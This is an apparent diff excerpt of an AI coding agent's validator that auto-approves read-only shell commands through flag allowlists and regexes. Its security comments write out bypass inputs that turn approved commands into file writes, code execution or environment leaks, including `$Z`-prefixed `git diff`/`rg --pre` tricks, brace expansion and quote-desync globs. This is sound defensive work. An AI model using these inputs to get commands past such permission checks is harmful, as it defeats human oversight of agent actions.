- // We only allow safe display options and BLOCK any positional arguments
799
- hostname: {
800
- safeFlags: {
801
- // Display options only (safe)
802
- '-f': 'none', // --fqdn - display FQDN
803
- '--fqdn': 'none',
804
- '--long': 'none',
805
- '-s': 'none', // --short - display short name
806
- '--short': 'none',
807
- '-i': 'none', // --ip-address
808
- '--ip-address': 'none',
809
- '-I': 'none', // --all-ip-addresses
810
- '--all-ip-addresses': 'none',
811
- '-a': 'none', // --alias
812
- '--alias': 'none',
813
- '-d': 'none', // --domain
814
- '--domain': 'none',
815
- '-A': 'none', // --all-fqdns
816
- '--all-fqdns': 'none',
817
- '-v': 'none', // --verbose
818
- '--verbose': 'none',
819
- '-h': 'none', // --help
820
- '--help': 'none',
821
- '-V': 'none', // --version
822
- '--version': 'none',
823
- },
824
- // CRITICAL: Block any positional arguments - they set the hostname
825
- // Also block -F/--file, -b/--boot, -y/--yp/--nis (not in safeFlags = blocked)
826
- // Use regex to ensure no positional args after flags
827
- regex: /^hostname(?:\s+(?:-[a-zA-Z]|--[a-zA-Z-]+))*\s*$/,
828
- },
829
- // info command - moved from READONLY_COMMANDS because -o/--output writes to files
830
- // Also --dribble writes keystrokes to file, --init-file loads custom config
831
- // We only allow safe display/navigation options
832
- info: {
833
- safeFlags: {
834
- // Navigation/display options (safe)
835
- '-f': 'string', // --file - specify manual file to read
836
- '--file': 'string',
837
- '-d': 'string', // --directory - search path
838
- '--directory': 'string',
839
- '-n': 'string', // --node - specify node
840
- '--node': 'string',
841
- '-a': 'none', // --all
842
- '--all': 'none',
843
- '-k': 'string', // --apropos - search
844
- '--apropos': 'string',
845
- '-w': 'none', // --where - show location
846
- '--where': 'none',
847
- '--location': 'none',
848
- '--show-options': 'none',
849
- '--vi-keys': 'none',
850
- '--subnodes': 'none',
851
- '-h': 'none',
852
- '--help': 'none',
853
- '--usage': 'none',
854
- '--version': 'none',
855
- },
856
- // Dangerous flags NOT included (blocked by omission):
857
- // -o / --output - writes output to file
858
- // --dribble - records keystrokes to file
859
- // --init-file - loads custom config (potential code execution)
860
- // --restore - replays keystrokes from file
861
- },
862
-
863
- lsof: {
864
- safeFlags: {
865
- '-?': 'none',
866
- '-h': 'none',
867
- '-v': 'none',
868
- '-a': 'none',
869
- '-b': 'none',
870
- '-C': 'none',
871
- '-l': 'none',
872
- '-n': 'none',
873
- '-N': 'none',
874
- '-O': 'none',
875
- '-P': 'none',
876
- '-Q': 'none',
877
- '-R': 'none',
878
- '-t': 'none',
879
- '-U': 'none',
880
- '-V': 'none',
881
- '-X': 'none',
882
- '-H': 'none',
883
- '-E': 'none',
884
- '-F': 'none',
885
- '-g': 'none',
886
- '-i': 'none',
887
- '-K': 'none',
888
- '-L': 'none',
889
- '-o': 'none',
890
- '-r': 'none',
891
- '-s': 'none',
892
- '-S': 'none',
893
- '-T': 'none',
894
- '-x': 'none',
895
- '-A': 'string',
896
- '-c': 'string',
897
- '-d': 'string',
898
- '-e': 'string',
899
- '-k': 'string',
900
- '-p': 'string',
901
- '-u': 'string',
902
- // OMITTED (writes to disk): -D (device cache file build/update)
903
- },
904
- // Block +m (create mount supplement file) — writes to disk.
905
- // +prefix flags are treated as positional args by validateFlags,
906
- // so we must catch them here. lsof accepts +m<path> (attached path, no space)
907
- // with both absolute (+m/tmp/evil) and relative (+mfoo, +m.evil) paths.
908
- additionalCommandIsDangerousCallback: (_rawCommand, args) =>
909
- args.some(a => a === '+m' || a.startsWith('+m')),
910
- },
911
-
912
- pgrep: {
913
- safeFlags: {
914
- '-d': 'string',
915
- '--delimiter': 'string',
916
- '-l': 'none',
917
- '--list-name': 'none',
918
- '-a': 'none',
919
- '--list-full': 'none',
920
- '-v': 'none',
921
- '--inverse': 'none',
922
- '-w': 'none',
923
- '--lightweight': 'none',
924
- '-c': 'none',
925
- '--count': 'none',
926
- '-f': 'none',
927
- '--full': 'none',
928
- '-g': 'string',
929
- '--pgroup': 'string',
930
- '-G': 'string',
931
- '--group': 'string',
932
- '-i': 'none',
933
- '--ignore-case': 'none',
934
- '-n': 'none',
935
- '--newest': 'none',
936
- '-o': 'none',
937
- '--oldest': 'none',
938
- '-O': 'string',
939
- '--older': 'string',
940
- '-P': 'string',
941
- '--parent': 'string',
942
- '-s': 'string',
943
- '--session': 'string',
944
- '-t': 'string',
945
- '--terminal': 'string',
946
- '-u': 'string',
947
- '--euid': 'string',
948
- '-U': 'string',
949
- '--uid': 'string',
950
- '-x': 'none',
951
- '--exact': 'none',
952
- '-F': 'string',
953
- '--pidfile': 'string',
954
- '-L': 'none',
955
- '--logpidfile': 'none',
956
- '-r': 'string',
957
- '--runstates': 'string',
958
- '--ns': 'string',
959
- '--nslist': 'string',
960
- '--help': 'none',
961
- '-V': 'none',
962
- '--version': 'none',
963
- },
964
- },
965
-
966
- tput: {
967
- safeFlags: {
968
- '-T': 'string',
969
- '-V': 'none',
970
- '-x': 'none',
971
- // SECURITY: -S (read capability names from stdin) deliberately EXCLUDED.
972
- // It must NOT be in safeFlags because validateFlags unbundles combined
973
- // short flags (e.g., -xS → -x + -S), but the callback receives the raw
974
- // token '-xS' and only checks exact match 'token === "-S"'. Excluding -S
975
- // from safeFlags ensures validateFlags rejects it (bundled or not) before
976
- // the callback runs. The callback's -S check is defense-in-depth.
977
- },
978
- additionalCommandIsDangerousCallback: (
979
- _rawCommand: string,
980
- args: string[],
981
- ) => {
982
- // Capabilities that modify terminal state or could be harmful.
983
- // init/reset run iprog (arbitrary code from terminfo) and modify tty settings.
984
- // rs1/rs2/rs3/is1/is2/is3 are the individual reset/init sequences that
985
- // init/reset invoke internally — rs1 sends ESC c (full terminal reset).
986
- // clear erases scrollback (evidence destruction). mc5/mc5p activate media copy
987
- // (redirect output to printer device). smcup/rmcup manipulate screen buffer.
988
- // pfkey/pfloc/pfx/pfxl program function keys — pfloc executes strings locally.
989
- // rf is reset file (analogous to if/init_file).
990
- const DANGEROUS_CAPABILITIES = new Set([
991
- 'init',
992
- 'reset',
993
- 'rs1',
994
- 'rs2',
995
- 'rs3',
996
- 'is1',
997
- 'is2',
998
- 'is3',
999
- 'iprog',
1000
- 'if',
1001
- 'rf',
1002
- 'clear',
1003
- 'flash',
1004
- 'mc0',
1005
- 'mc4',
1006
- 'mc5',
1007
- 'mc5i',
1008
- 'mc5p',
1009
- 'pfkey',
1010
- 'pfloc',
1011
- 'pfx',
1012
- 'pfxl',
1013
- 'smcup',
1014
- 'rmcup',
1015
- ])
1016
- const flagsWithArgs = new Set(['-T'])
1017
- let i = 0
1018
- let afterDoubleDash = false
1019
- while (i < args.length) {
1020
- const token = args[i]!
1021
- if (token === '--') {
1022
- afterDoubleDash = true
1023
- i++
1024
- } else if (!afterDoubleDash && token.startsWith('-')) {
1025
- // Defense-in-depth: block -S even if it somehow passes validateFlags
1026
- if (token === '-S') return true
1027
- // Also check for -S bundled with other flags (e.g., -xS)
1028
- if (
1029
- !token.startsWith('--') &&
1030
- token.length > 2 &&
1031
- token.includes('S')
1032
- )
1033
- return true
1034
- if (flagsWithArgs.has(token)) {
1035
- i += 2
1036
- } else {
1037
- i++
1038
- }
1039
- } else {
1040
- if (DANGEROUS_CAPABILITIES.has(token)) return true
1041
- i++
1042
- }
1043
- }
1044
- return false
1045
- },
1046
- },
1047
-
1048
- // ss — socket statistics (iproute2). Read-only query tool equivalent to netstat.
1049
- // SECURITY: -K/--kill (forcibly close sockets) and -D/--diag (dump raw data to file)
1050
- // are deliberately excluded. -F/--filter (read filter from file) also excluded.
1051
- ss: {
1052
- safeFlags: {
1053
- '-h': 'none',
1054
- '--help': 'none',
1055
- '-V': 'none',
1056
- '--version': 'none',
1057
- '-n': 'none',
1058
- '--numeric': 'none',
1059
- '-r': 'none',
1060
- '--resolve': 'none',
1061
- '-a': 'none',
1062
- '--all': 'none',
1063
- '-l': 'none',
1064
- '--listening': 'none',
1065
- '-o': 'none',
1066
- '--options': 'none',
1067
- '-e': 'none',
1068
- '--extended': 'none',
1069
- '-m': 'none',
1070
- '--memory': 'none',
1071
- '-p': 'none',
1072
- '--processes': 'none',
1073
- '-i': 'none',
1074
- '--info': 'none',
1075
- '-s': 'none',
1076
- '--summary': 'none',
1077
- '-4': 'none',
1078
- '--ipv4': 'none',
1079
- '-6': 'none',
1080
- '--ipv6': 'none',
1081
- '-0': 'none',
1082
- '--packet': 'none',
1083
- '-t': 'none',
1084
- '--tcp': 'none',
1085
- '-M': 'none',
1086
- '--mptcp': 'none',
1087
- '-S': 'none',
1088
- '--sctp': 'none',
1089
- '-u': 'none',
1090
- '--udp': 'none',
1091
- '-d': 'none',
1092
- '--dccp': 'none',
1093
- '-w': 'none',
1094
- '--raw': 'none',
1095
- '-x': 'none',
1096
- '--unix': 'none',
1097
- '--tipc': 'none',
1098
- '--vsock': 'none',
1099
- '-f': 'string',
1100
- '--family': 'string',
1101
- '-A': 'string',
1102
- '--query': 'string',
1103
- '--socket': 'string',
1104
- '-Z': 'none',
1105
- '--context': 'none',
1106
- '-z': 'none',
1107
- '--contexts': 'none',
1108
- // SECURITY: -N/--net EXCLUDED — performs setns(), unshare(), mount(), umount()
1109
- // to switch network namespace. While isolated to forked process, too invasive.
1110
- '-b': 'none',
1111
- '--bpf': 'none',
1112
- '-E': 'none',
1113
- '--events': 'none',
1114
- '-H': 'none',
1115
- '--no-header': 'none',
1116
- '-O': 'none',
1117
- '--oneline': 'none',
1118
- '--tipcinfo': 'none',
1119
- '--tos': 'none',
1120
- '--cgroup': 'none',
1121
- '--inet-sockopt': 'none',
1122
- // SECURITY: -K/--kill EXCLUDED — forcibly closes sockets
1123
- // SECURITY: -D/--diag EXCLUDED — dumps raw TCP data to a file
1124
- // SECURITY: -F/--filter EXCLUDED — reads filter expressions from a file
1125
- },
1126
- },
1127
-
1128
- // fd/fdfind — fast file finder (fd-find). Read-only search tool.
1129
- // SECURITY: -x/--exec (execute command per result) and -X/--exec-batch
1130
- // (execute command with all results) are deliberately excluded.
1131
- fd: { safeFlags: { ...FD_SAFE_FLAGS } },
1132
- // fdfind is the Debian/Ubuntu package name for fd — same binary, same flags
1133
- fdfind: { safeFlags: { ...FD_SAFE_FLAGS } },
1134
-
1135
- ...PYRIGHT_READ_ONLY_COMMANDS,
1136
- ...DOCKER_READ_ONLY_COMMANDS,
1137
- }
1138
-
1139
- // gh commands are ant-only since they make network requests, which goes against
1140
- // the read-only validation principle of no network access
1141
- const ANT_ONLY_COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
1142
- // All gh read-only commands from shared validation map
1143
- ...GH_READ_ONLY_COMMANDS,
1144
- // aki — Anthropic internal knowledge-base search CLI.
1145
- // Network read-only (same policy as gh). --audit-csv omitted: writes to disk.
1146
- aki: {
1147
- safeFlags: {
1148
- '-h': 'none',
1149
- '--help': 'none',
1150
- '-k': 'none',
1151
- '--keyword': 'none',
1152
- '-s': 'none',
1153
- '--semantic': 'none',
1154
- '--no-adaptive': 'none',
1155
- '-n': 'number',
1156
- '--limit': 'number',
1157
- '-o': 'number',
1158
- '--offset': 'number',
1159
- '--source': 'string',
1160
- '--exclude-source': 'string',
1161
- '-a': 'string',
1162
- '--after': 'string',
1163
- '-b': 'string',
1164
- '--before': 'string',
1165
- '--collection': 'string',
1166
- '--drive': 'string',
1167
- '--folder': 'string',
1168
- '--descendants': 'none',
1169
- '-m': 'string',
1170
- '--meta': 'string',
1171
- '-t': 'string',
1172
- '--threshold': 'string',
1173
- '--kw-weight': 'string',
1174
- '--sem-weight': 'string',
1175
- '-j': 'none',
1176
- '--json': 'none',
1177
- '-c': 'none',
1178
- '--chunk': 'none',
1179
- '--preview': 'none',
1180
- '-d': 'none',
1181
- '--full-doc': 'none',
1182
- '-v': 'none',
1183
- '--verbose': 'none',
1184
- '--stats': 'none',
1185
- '-S': 'number',
1186
- '--summarize': 'number',
1187
- '--explain': 'none',
1188
- '--examine': 'string',
1189
- '--url': 'string',
1190
- '--multi-turn': 'number',
1191
- '--multi-turn-model': 'string',
1192
- '--multi-turn-context': 'string',
1193
- '--no-rerank': 'none',
1194
- '--audit': 'none',
1195
- '--local': 'none',
1196
- '--staging': 'none',
1197
- },
1198
- },
1199
- }
1200
-
1201
- function getCommandAllowlist(): Record<string, CommandConfig> {
1202
- let allowlist: Record<string, CommandConfig> = COMMAND_ALLOWLIST
1203
- // On Windows, xargs can be used as a data-to-code bridge: if a file contains
1204
- // a UNC path, `cat file | xargs cat` feeds that path to cat, triggering SMB
1205
- // resolution. Since the UNC path is in file contents (not the command string),
1206
- // regex-based detection cannot catch this.
1207
- if (getPlatform() === 'windows') {
1208
- const { xargs: _, ...rest } = allowlist
1209
- allowlist = rest
1210
- }
1211
- if (process.env.USER_TYPE === 'ant') {
1212
- return { ...allowlist, ...ANT_ONLY_COMMAND_ALLOWLIST }
1213
- }
1214
- return allowlist
1215
- }
1216
-
1217
- /**
1218
- * Commands that are safe to use as xargs targets for auto-approval.
1219
- *
1220
- * SECURITY: Only add a command to this list if it has NO flags that can:
1221
- * 1. Write to files (e.g., find's -fprint, sed's -i)
1222
- * 2. Execute code (e.g., find's -exec, awk's system(), perl's -e)
1223
- * 3. Make network requests
1224
- *
1225
- * These commands must be purely read-only utilities. When xargs uses one of
1226
- * these as a target, we stop validating flags after the target command
1227
- * (see the `break` in isCommandSafeViaFlagParsing), so the command itself
1228
- * must not have ANY dangerous flags, not just a safe subset.
1229
- *
1230
- * Each command was verified by checking its man page for dangerous capabilities.
1231
- */
1232
- const SAFE_TARGET_COMMANDS_FOR_XARGS = [
1233
- 'echo', // Output only, no dangerous flags
1234
- 'printf', // xargs runs /usr/bin/printf (binary), not bash builtin — no -v support
1235
- 'wc', // Read-only counting, no dangerous flags
1236
- 'grep', // Read-only search, no dangerous flags
1237
- 'head', // Read-only, no dangerous flags
1238
- 'tail', // Read-only (including -f follow), no dangerous flags
1239
- ]
1240
-
1241
- /**
1242
- * Unified command validation function that replaces individual validator functions.
1243
- * Uses declarative configuration from COMMAND_ALLOWLIST to validate commands and their flags.
1244
- * Handles combined flags, argument validation, and shell quoting bypass detection.
1245
- */
1246
- export function isCommandSafeViaFlagParsing(command: string): boolean {
1247
- // Parse the command to get individual tokens using shell-quote for accuracy
1248
- // Handle glob operators by converting them to strings, they don't matter from the perspective
1249
- // of this function
1250
- const parseResult = tryParseShellCommand(command, env => `$${env}`)
1251
- if (!parseResult.success) return false
1252
-
1253
- const parsed = parseResult.tokens.map(token => {
1254
- if (typeof token !== 'string') {
1255
- token = token as { op: 'glob'; pattern: string }
1256
- if (token.op === 'glob') {
1257
- return token.pattern
1258
- }
1259
- }
1260
- return token
1261
- })
1262
-
1263
- // If there are operators (pipes, redirects, etc.), it's not a simple command.
1264
- // Breaking commands down into their constituent parts is handled upstream of
1265
- // this function, so we reject anything with operators here.
1266
- const hasOperators = parsed.some(token => typeof token !== 'string')
1267
- if (hasOperators) {
1268
- return false
1269
- }
1270
-
1271
- // Now we know all tokens are strings
1272
- const tokens = parsed as string[]
1273
-
1274
- if (tokens.length === 0) {
1275
- return false
1276
- }
1277
-
1278
- // Find matching command configuration
1279
- let commandConfig: CommandConfig | undefined
1280
- let commandTokens: number = 0
1281
-
1282
- // Check for multi-word commands first (e.g., "git diff", "git stash list")
1283
- const allowlist = getCommandAllowlist()
1284
- for (const [cmdPattern] of Object.entries(allowlist)) {
1285
- const cmdTokens = cmdPattern.split(' ')
1286
- if (tokens.length >= cmdTokens.length) {
1287
- let matches = true
1288
- for (let i = 0; i < cmdTokens.length; i++) {
1289
- if (tokens[i] !== cmdTokens[i]) {
1290
- matches = false
1291
- break
1292
- }
1293
- }
1294
- if (matches) {
1295
- commandConfig = allowlist[cmdPattern]
1296
- commandTokens = cmdTokens.length
1297
- break
1298
- }
1299
- }
1300
- }
1301
-
1302
- if (!commandConfig) {
1303
- return false // Command not in allowlist
1304
- }
1305
-
1306
- // Special handling for git ls-remote to reject URLs that could lead to data exfiltration
1307
- if (tokens[0] === 'git' && tokens[1] === 'ls-remote') {
1308
- // Check if any argument looks like a URL or remote specification
1309
- for (let i = 2; i < tokens.length; i++) {
1310
- const token = tokens[i]
1311
- if (token && !token.startsWith('-')) {
1312
- // Reject HTTP/HTTPS URLs
1313
- if (token.includes('://')) {
1314
- return false
1315
- }
1316
- // Reject SSH URLs like git@github.com:user/repo.git
1317
- if (token.includes('@') || token.includes(':')) {
1318
- return false
1319
- }
1320
- // Reject variable references
1321
- if (token.includes('$')) {
1322
- return false
1323
- }
1324
- }
1325
- }
1326
- }
1327
-
1328
- // SECURITY: Reject ANY token containing `$` (variable expansion). The
1329
- // `env => \`$${env}\`` callback at line 825 preserves `$VAR` as LITERAL TEXT
1330
- // in tokens, but bash expands it at runtime (unset vars → empty string).
1331
- // This parser differential defeats BOTH validateFlags and callbacks:
1332
- //
1333
- // (1) `$VAR`-prefix defeats validateFlags `startsWith('-')` check:
1334
- // `git diff "$Z--output=/tmp/pwned"` → token `$Z--output=/tmp/pwned`
1335
- // (starts with `$`) falls through as positional at ~:1730. Bash runs
1336
- // `git diff --output=/tmp/pwned`. ARBITRARY FILE WRITE, zero perms.
1337
- //
1338
- // (2) `$VAR`-prefix → RCE via `rg --pre`:
1339
- // `rg . "$Z--pre=bash" FILE` → executes `bash FILE`. rg's config has
1340
- // no regex and no callback. SINGLE-STEP ARBITRARY CODE EXECUTION.
1341
- //
1342
- // (3) `$VAR`-infix defeats additionalCommandIsDangerousCallback regex:
1343
- // `ps ax"$Z"e` → token `ax$Ze`. The ps callback regex
1344
- // `/^[a-zA-Z]*e[a-zA-Z]*$/` fails on `$` → "not dangerous". Bash runs
1345
- // `ps axe` → env vars for all processes. A fix limited to `$`-PREFIXED
1346
- // tokens would NOT close this.
1347
- //
1348
- // We check ALL tokens after the command prefix. Any `$` means we cannot
1349
- // determine the runtime token value, so we cannot verify read-only safety.
1350
- // This check must run BEFORE validateFlags and BEFORE callbacks.
1351
- for (let i = commandTokens; i < tokens.length; i++) {
1352
- const token = tokens[i]
1353
- if (!token) continue
1354
- // Reject any token containing $ (variable expansion)
1355
- if (token.includes('$')) {
1356
- return false
1357
- }
1358
- // Reject tokens with BOTH `{` and `,` (brace expansion obfuscation).
1359
- // `git diff {@'{'0},--output=/tmp/pwned}` → shell-quote strips quotes
1360
- // → token `{@{0},--output=/tmp/pwned}` has `{` + `,` → brace expansion.
1361
- // This is defense-in-depth with validateBraceExpansion in bashSecurity.ts.
1362
- // We require BOTH `{` and `,` to avoid false positives on legitimate
1363
- // patterns: `stash@{0}` (git ref, has `{` no `,`), `{{.State}}` (Go
1364
- // template, no `,`), `prefix-{}-suffix` (xargs, no `,`). Sequence form
1365
- // `{1..5}` also needs checking (has `{` + `..`).
1366
- if (token.includes('{') && (token.includes(',') || token.includes('..'))) {
1367
- return false
1368
- }
1369
- }
1370
-
1371
- // Validate flags starting after the command tokens
1372
- if (
1373
- !validateFlags(tokens, commandTokens, commandConfig, {
1374
- commandName: tokens[0],
1375
- rawCommand: command,
1376
- xargsTargetCommands:
1377
- tokens[0] === 'xargs' ? SAFE_TARGET_COMMANDS_FOR_XARGS : undefined,
1378
- })
1379
- ) {
1380
- return false
1381
- }
1382
-
1383
- if (commandConfig.regex && !commandConfig.regex.test(command)) {
1384
- return false
1385
- }
1386
- if (!commandConfig.regex && /`/.test(command)) {
1387
- return false
1388
- }
1389
- // Block newlines and carriage returns in grep/rg patterns as they can be used for injection
1390
- if (
1391
- !commandConfig.regex &&
1392
- (tokens[0] === 'rg' || tokens[0] === 'grep') &&
1393
- /[\n\r]/.test(command)
1394
- ) {
1395
- return false
1396
- }
1397
- if (
1398
- commandConfig.additionalCommandIsDangerousCallback &&
1399
- commandConfig.additionalCommandIsDangerousCallback(
1400
- command,
1401
- tokens.slice(commandTokens),
1402
- )
1403
- ) {
1404
- return false
1405
- }
1406
-
1407
- return true
1408
- }
1409
-
1410
- /**
1411
- * Creates a regex pattern that matches safe invocations of a command.
1412
- *
1413
- * The regex ensures commands are invoked safely by blocking:
1414
- * - Shell metacharacters that could lead to command injection or redirection
1415
- * - Command substitution via backticks or $()
1416
- * - Variable expansion that could contain malicious payloads
1417
- * - Environment variable assignment bypasses (command=value)
1418
- *
1419
- * @param command The command name (e.g., 'date', 'npm list', 'ip addr')
1420
- * @returns RegExp that matches safe invocations of the command
1421
- */
1422
- function makeRegexForSafeCommand(command: string): RegExp {
1423
- // Create regex pattern: /^command(?:\s|$)[^<>()$`|{}&;\n\r]*$/
1424
- return new RegExp(`^${command}(?:\\s|$)[^<>()$\`|{}&;\\n\\r]*$`)
1425
- }
1426
-
1427
- // Simple commands that are safe for execution (converted to regex patterns using makeRegexForSafeCommand)
1428
- // WARNING: If you are adding new commands here, be very careful to ensure
1429
- // they are truly safe. This includes ensuring:
1430
- // 1. That they don't have any flags that allow file writing or command execution
1431
- // 2. Use makeRegexForSafeCommand() to ensure proper regex pattern creation
1432
- const READONLY_COMMANDS = [
1433
- // Cross-platform commands from shared validation
1434
- ...EXTERNAL_READONLY_COMMANDS,
1435
-
1436
- // Unix/bash-specific read-only commands (not shared because they don't exist in PowerShell)
1437
-
1438
- // Time and date
1439
- 'cal',
1440
- 'uptime',
1441
-
1442
- // File content viewing (relative paths handled separately)
1443
- 'cat',
1444
- 'head',
1445
- 'tail',
1446
- 'wc',
1447
- 'stat',
1448
- 'strings',
1449
- 'hexdump',
1450
- 'od',
1451
- 'nl',
1452
-
1453
- // System info
1454
- 'id',
1455
- 'uname',
1456
- 'free',
1457
- 'df',
1458
- 'du',
1459
- 'locale',
1460
- 'groups',
1461
- 'nproc',
1462
-
1463
- // Path information
1464
- 'basename',
1465
- 'dirname',
1466
- 'realpath',
1467
-
1468
- // Text processing
1469
- 'cut',
1470
- 'paste',
1471
- 'tr',
1472
- 'column',
1473
- 'tac', // Reverse cat — displays file contents in reverse line order
1474
- 'rev', // Reverse characters in each line
1475
- 'fold', // Wrap lines to specified width
1476
- 'expand', // Convert tabs to spaces
1477
- 'unexpand', // Convert spaces to tabs
1478
- 'fmt', // Simple text formatter — output to stdout only
1479
- 'comm', // Compare sorted files line by line
1480
- 'cmp', // Byte-by-byte file comparison
1481
- 'numfmt', // Number format conversion
1482
-
1483
- // Path information (additional)
1484
- 'readlink', // Resolve symlinks — displays target of symbolic link
1485
-
1486
- // File comparison
1487
- 'diff',
1488
-
1489
- // true and false, used to silence or create errors
1490
- 'true',
1491
- 'false',
1492
-
1493
- // Misc. safe commands
1494
- 'sleep',
1495
- 'which',
1496
- 'type',
1497
- 'expr', // Evaluate expressions (arithmetic, string matching)
1498
- 'test', // Conditional evaluation (file checks, comparisons)
1499
- 'getconf', // Get system configuration values
1500
- 'seq', // Generate number sequences
1501
- 'tsort', // Topological sort
1502
- 'pr', // Paginate files for printing
1503
- ]
1504
-
1505
- // Complex commands that require custom regex patterns
1506
- // Warning: If possible, avoid adding new regexes here and prefer using COMMAND_ALLOWLIST
1507
- // instead. This allowlist-based approach to CLI flags is more secure and avoids
1508
- // vulns coming from gnu getopt_long.
1509
- const READONLY_COMMAND_REGEXES = new Set([
1510
- // Convert simple commands to regex patterns using makeRegexForSafeCommand
1511
- ...READONLY_COMMANDS.map(makeRegexForSafeCommand),
1512
-
1513
- // Echo that doesn't execute commands or use variables
1514
- // Allow newlines in single quotes (safe) but not in double quotes (could be dangerous with variable expansion)
1515
- // Also allow optional 2>&1 stderr redirection at the end
1516
- /^echo(?:\s+(?:'[^']*'|"[^"$<>\n\r]*"|[^|;&`$(){}><#\\!"'\s]+))*(?:\s+2>&1)?\s*$/,
1517
-
1518
- // Claude CLI help
1519
- /^claude -h$/,
1520
- /^claude --help$/,
1521
-
1522
- // Git readonly commands are now handled via COMMAND_ALLOWLIST with explicit flag validation
1523
- // (git status, git blame, git ls-files, git config --get, git remote, git tag, git branch)
1524
-
1525
- /^uniq(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?|-[fsw]\s+\d+))*(?:\s|$)\s*$/, // Only allow flags, no input/output files
1526
-
1527
- // System info
1528
- /^pwd$/,
1529
- /^whoami$/,
1530
- // env and printenv removed - could expose sensitive environment variables
1531
-
1532
- // Development tools version checking - exact match only, no suffix allowed.
1533
- // SECURITY: `node -v --run <task>` would execute package.json scripts because
1534
- // Node processes --run before -v. Python/python3 --version are also anchored
1535
- // for defense-in-depth. These were previously in EXTERNAL_READONLY_COMMANDS which
1536
- // flows through makeRegexForSafeCommand and permits arbitrary suffixes.
1537
- /^node -v$/,
1538
- /^node --version$/,
1539
- /^python --version$/,
1540
- /^python3 --version$/,
1541
-
1542
- // Misc. safe commands
1543
- // tree command moved to COMMAND_ALLOWLIST for proper flag validation (blocks -o/--output)
1544
- /^history(?:\s+\d+)?\s*$/, // Only allow bare history or history with numeric argument - prevents file writing
1545
- /^alias$/,
1546
- /^arch(?:\s+(?:--help|-h))?\s*$/, // Only allow arch with help flags or no arguments
1547
-
1548
- // Network commands - only allow exact commands with no arguments to prevent network manipulation
1549
- /^ip addr$/, // Only allow "ip addr" with no additional arguments
1550
- /^ifconfig(?:\s+[a-zA-Z][a-zA-Z0-9_-]*)?\s*$/, // Allow ifconfig with interface name only (must start with letter)
1551
-
1552
- // JSON processing with jq - allow with inline filters and file arguments
1553
- // File arguments are validated separately by pathValidation.ts
1554
- // Allow pipes and complex expressions within quotes but prevent dangerous flags
1555
- // Block command substitution - backticks are dangerous even in single quotes for jq
1556
- // Block -f/--from-file, --rawfile, --slurpfile (read files into jq), --run-tests, -L/--library-path (load executable modules)
1557
- // Block 'env' builtin and '$ENV' object which can access environment variables (defense in depth)
1558
- /^jq(?!\s+.*(?:-f\b|--from-file|--rawfile|--slurpfile|--run-tests|-L\b|--library-path|\benv\b|\$ENV\b))(?:\s+(?:-[a-zA-Z]+|--[a-zA-Z-]+(?:=\S+)?))*(?:\s+'[^'`]*'|\s+"[^"`]*"|\s+[^-\s'"][^\s]*)+\s*$/,
1559
-
1560
- // Path commands (path validation ensures they're allowed)
1561
- // cd command - allows changing to directories
1562
- /^cd(?:\s+(?:'[^']*'|"[^"]*"|[^\s;|&`$(){}><#\\]+))?$/,
1563
- // ls command - allows listing directories
1564
- /^ls(?:\s+[^<>()$`|{}&;\n\r]*)?$/,
1565
- // find command - blocks dangerous flags
1566
- // Allow escaped parentheses \( and \) for grouping, but block unescaped ones
1567
- // NOTE: \\[()] must come BEFORE the character class to ensure \( is matched as an escaped paren,
1568
- // not as backslash + paren (which would fail since paren is excluded from the character class)
1569
- /^find(?:\s+(?:\\[()]|(?!-delete\b|-exec\b|-execdir\b|-ok\b|-okdir\b|-fprint0?\b|-fls\b|-fprintf\b)[^<>()$`|{}&;\n\r\s]|\s)+)?$/,
1570
- ])
1571
-
1572
- /**
1573
- * Checks if a command contains glob characters (?, *, [, ]) or expandable `$`
1574
- * variables OUTSIDE the quote contexts where bash would treat them as literal.
1575
- * These could expand to bypass our regex-based security checks.
1576
- *
1577
- * Glob examples:
1578
- * - `python *` could expand to `python --help` if a file named `--help` exists
1579
- * - `find ./ -?xec` could expand to `find ./ -exec` if such a file exists
1580
- * Globs are literal inside BOTH single and double quotes.
1581
- *
1582
- * Variable expansion examples:
1583
- * - `uniq --skip-chars=0$_` → `$_` expands to last arg of previous command;
1584
- * with IFS word splitting, this smuggles positional args past "flags-only"
1585
- * regexes. `echo " /etc/passwd /tmp/x"; uniq --skip-chars=0$_` → FILE WRITE.
1586
- * - `cd "$HOME"` → double-quoted `$HOME` expands at runtime.
1587
- * Variables are literal ONLY inside single quotes; they expand inside double
1588
- * quotes and unquoted.
1589
- *
1590
- * The `$` check guards the READONLY_COMMAND_REGEXES fallback path. The `$`
1591
- * token check in isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
1592
- * commands; hand-written regexes like uniq's `\S+` and cd's `"[^"]*"` allow `$`.
1593
- * Matches `$` followed by `[A-Za-z_@*#?!$0-9-]` covering `$VAR`, `$_`, `$@`,
1594
- * `$*`, `$#`, `$?`, `$!`, `$$`, `$-`, `$0`-`$9`. Does NOT match `${` or `$(` —
1595
- * those are caught by COMMAND_SUBSTITUTION_PATTERNS in bashSecurity.ts.
1596
- *
1597
- * @param command The command string to check
1598
- * @returns true if the command contains unquoted glob or expandable `$`
1599
- */
1600
- function containsUnquotedExpansion(command: string): boolean {
1601
- // Track quote state to avoid false positives for patterns inside quoted strings
1602
- let inSingleQuote = false
1603
- let inDoubleQuote = false
1604
- let escaped = false
1605
-
1606
- for (let i = 0; i < command.length; i++) {
1607
- const currentChar = command[i]
1608
-
1609
- // Handle escape sequences
1610
- if (escaped) {
1611
- escaped = false
1612
- continue
1613
- }
1614
-
1615
- // SECURITY: Only treat backslash as escape OUTSIDE single quotes. In bash,
1616
- // `\` inside `'...'` is LITERAL — it does not escape the next character.
1617
- // Without this guard, `'\'` desyncs the quote tracker: the `\` sets
1618
- // escaped=true, then the closing `'` is consumed by the escaped-skip
1619
- // instead of toggling inSingleQuote. Parser stays in single-quote
1620
- // mode for the rest of the command, missing ALL subsequent expansions.
1621
- // Example: `ls '\' *` — bash sees glob `*`, but desynced parser thinks
1622
- // `*` is inside quotes → returns false (glob NOT detected).
1623
- // Defense-in-depth: hasShellQuoteSingleQuoteBug catches `'\'` patterns
1624
- // before this function is reached, but we fix the tracker anyway for
1625
- // consistency with the correct implementations in bashSecurity.ts.
1626
- if (currentChar === '\\' && !inSingleQuote) {
1627
- escaped = true
1628
- continue
1629
- }
1630
-
1631
- // Update quote state
1632
- if (currentChar === "'" && !inDoubleQuote) {
1633
- inSingleQuote = !inSingleQuote
1634
- continue
1635
- }
1636
-
1637
- if (currentChar === '"' && !inSingleQuote) {
1638
- inDoubleQuote = !inDoubleQuote
1639
- continue
1640
